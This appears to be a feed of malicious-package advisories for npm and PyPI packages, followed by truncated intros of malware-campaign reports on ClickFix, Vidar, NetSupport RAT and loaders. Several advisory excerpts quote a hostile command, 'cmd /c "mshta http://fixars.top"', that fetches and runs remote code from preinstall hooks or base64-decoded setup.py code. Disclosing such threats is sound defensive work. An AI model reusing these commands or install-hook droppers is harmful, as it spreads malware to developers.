MAL-2026-10461 Malicious code in gptlite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1b12c4a304855689342c2732abcf11dec5cc206960f495525b967fca6d14662 The package's npm preinstall lifecycle script preinstall.js, referenced from package.json's "preinstall": "node preinstall.js" invokes...

MAL-2026-6537 Malicious code in gptmini (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cb05abb3d36b111df4aa8fe044cbf05a431a0778e90d022e1621494c1506a171 On npm install, the package's preinstall lifecycle script preinstall.js, declared via scripts.preinstall "node preinstall.js" shells out with exec'cm...

Malicious code in sqligen (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de59ac5884f286d69e42a71ba0cb7b99aa06d2b1f0e28a279a84d3db86eb3196 setup.py contains an obfuscated install-time dropper that fires on Windows. Two functions with diagnostic-sounding names 'GetDefaultSystemPolicy' /...

MAL-2026-6515 Malicious code in sqligen (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de59ac5884f286d69e42a71ba0cb7b99aa06d2b1f0e28a279a84d3db86eb3196 setup.py contains an obfuscated install-time dropper that fires on Windows. Two functions with diagnostic-sounding names 'GetDefaultSystemPolicy' /...

Malicious code in openblox (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cdd874a78973f84b5373fc03a48472c338ca82ef0a258b7614f81a8359da1201 setup.py invokes GetGitCommitHash unconditionally at module top level, so it runs on pip install openblox and any setuptools invocation. On Windows t...

MAL-2026-6504 Malicious code in openblox (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cdd874a78973f84b5373fc03a48472c338ca82ef0a258b7614f81a8359da1201 setup.py invokes GetGitCommitHash unconditionally at module top level, so it runs on pip install openblox and any setuptools invocation. On Windows t...

Malicious code in tobihook (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2c093ec7049ebbe26ca860033bc1fd81ad98f4f586b66fc68170e1ff81ae90bb The package masquerades as an HTTP helper functions named post/get/fetch, module comment ' request/init.py', and an unused requests dependency but ea...

MAL-2026-5995 Malicious code in tobihook (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2c093ec7049ebbe26ca860033bc1fd81ad98f4f586b66fc68170e1ff81ae90bb The package masquerades as an HTTP helper functions named post/get/fetch, module comment ' request/init.py', and an unused requests dependency but ea...

Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

MAL-2026-5927 Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

MAL-2026-5876 Malicious code in temp-development-package-test (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14f3eeecfabfcb249c5f6ec2a20824355ac313ab18c677334076ca9501607ec8 At install time, setup.py invokes installsitecustomize, which copies src/tempdevelopmentpackagetest/setup/sitecustomize.py into Python's purelib...

MAL-2026-5824 Malicious code in testpgagent (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f On pip install, setup.py line 19 calls execbase64.b64decode... whose decoded body is import os; os.system'cmd /c "mshta http://fixars.top"'. This...

Malicious code in testpgagent (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f On pip install, setup.py line 19 calls execbase64.b64decode... whose decoded body is import os; os.system'cmd /c "mshta http://fixars.top"'. This...

The SOC Files: Time to “Sapecar”. Unpacking a new Horabot campaign in Mexico

Introduction In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot , a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex...

Hacked sites deliver Vidar infostealer to Windows users

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves. Our researchers have recently detected a campaig...

Can you use too many LOLBins to drop some RATs?

Recently, our team came across an infection attempt that stood out—not for its sophistication, but for how determined the attacker was to take a “living off the land” approach to the extreme. The end goal was to deploy Remcos , a Remote Access Trojan RAT, and NetSupport Manager , a legitimate...

Cracked Software and YouTube Videos Spread CountLoader and GachiLoader Malware

Cybersecurity researchers have disclosed details of a new campaign that has used cracked software distribution sites as a distribution vector for a new version of a modular and stealthy loader known as CountLoader. The campaign "uses CountLoader as the initial tool in a multistage attack for...

Experts Confirm JS#SMUGGLER Uses Compromised Sites to Deploy NetSupport RAT

Cybersecurity researchers are calling attention to a new campaign dubbed JSSMUGGLER that has been observed leveraging compromised websites as a distribution vector for a remote access trojan named NetSupport RAT. The attack chain, analyzed by Securonix, involves three main moving parts: An...

New ClickFix wave infects users with hidden malware in images and fake Windows updates

Several researchers have flagged a new development in the ongoing ClickFix campaign: Attackers are now mimicking a Windows update screen to trick people into running malware. ClickFix campaigns use convincing lures, historically “Human Verification” screens, and now a fake “Windows Update” splash...

New EVALUSION ClickFix Campaign Delivers Amatera Stealer and NetSupport RAT

Cybersecurity researchers have discovered malware campaigns using the now-prevalent ClickFix social engineering tactic to deploy Amatera Stealer and NetSupport RAT. The activity, observed this month, is being tracked by eSentire under the moniker EVALUSION. First spotted in June 2025, Amatera is...